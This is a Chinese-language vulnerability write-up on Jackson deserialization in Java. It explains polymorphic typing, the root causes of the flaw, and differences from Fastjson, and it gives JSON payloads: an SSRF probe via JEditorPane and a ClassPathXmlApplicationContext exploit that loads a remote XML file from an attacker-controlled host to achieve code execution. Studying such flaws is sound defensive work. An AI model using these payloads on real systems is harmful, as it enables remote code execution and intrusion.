jackson反序列化漏洞分析
1-反序列化
[1] jackson记录
以目的为导向就是,用[]进行测试判断该参数是否为object类型,是则用ssrf的payload
1 | {"test":["javax.swing.JEditorPane", {"page":"http://你的服务ip:8000"}]} |
来测试是否存在jackson的反序列漏洞
程序允许用户通过 JSON 指定类名,就相当于给黑客开了一扇进入 Java 内部世界的门
Jackson 反序列化漏洞原理
1.1 多态反序列化(Polymorphic Deserialization)
Jackson 支持将 JSON 自动反序列化为多种类型的 Java 对象,特别是当某字段的类型为 Object、接口或抽象类时,Jackson 允许通过类型信息确定具体类。
常见两种类型标识方式:
外部数组型标识(默认启用):
1
"data": ["com.example.SomeClass", { "field": "value" }]
注解型标识(显式开启):
1
2
3
4"data": {
"@class": "com.example.SomeClass",
"field": "value"
}
1.2 漏洞产生的根因
- Jackson 允许用户从 JSON 中指定任意类名。
- 反序列化时会自动调用类的构造函数、setter 或
readObject方法,甚至可能触发危险行为。 - 攻击者可伪造 payload 利用 Gadget(利用链)执行任意代码。
1.3 默认 Typing 的影响
如果后端配置了:
1 | ObjectMapper mapper = new ObjectMapper(); |
那么所有非 final 类型(如 Object、Map、List 等)都会被自动启用多态反序列化
—-Fastjson对比—-
| 特性 | Jackson | Fastjson |
|---|---|---|
| 是否支持多态反序列化 | ✅ 支持(默认 Object 类型自动支持) | ✅ 支持(需要特定字段) |
| 默认是否开启 | ✅ Object, Object[] 自动支持多态 |
❌ 需显示写入 @type |
| 多态字段名称 | 类名写在数组或配置的 @class 字段中 |
@type(固定字段名) |
| 利用条件 | 字段为 Object 或接口(或启用了 DefaultTyping) | JSON 中有 @type 且服务未禁用 AutoType |
| 修复方法 | 禁用 DefaultTyping、白名单类 | 关闭 autoTypeSupport、升级版本、白名单 |
| gadget 丰富程度 | 中等(依赖 commons-* 等库) | 非常多(内置支持多类库) |
[2]推荐工具利用
生成恶意 LDAP/RMI 服务,配合 Java 反序列化漏洞实现 RCE
简单exp:
payload
1 | ["org.springframework.context.support.ClassPathXmlApplicationContext", "http://192.168.1.12:8000/sping-beans.xml"] |
sping-beans.xml
1 |
|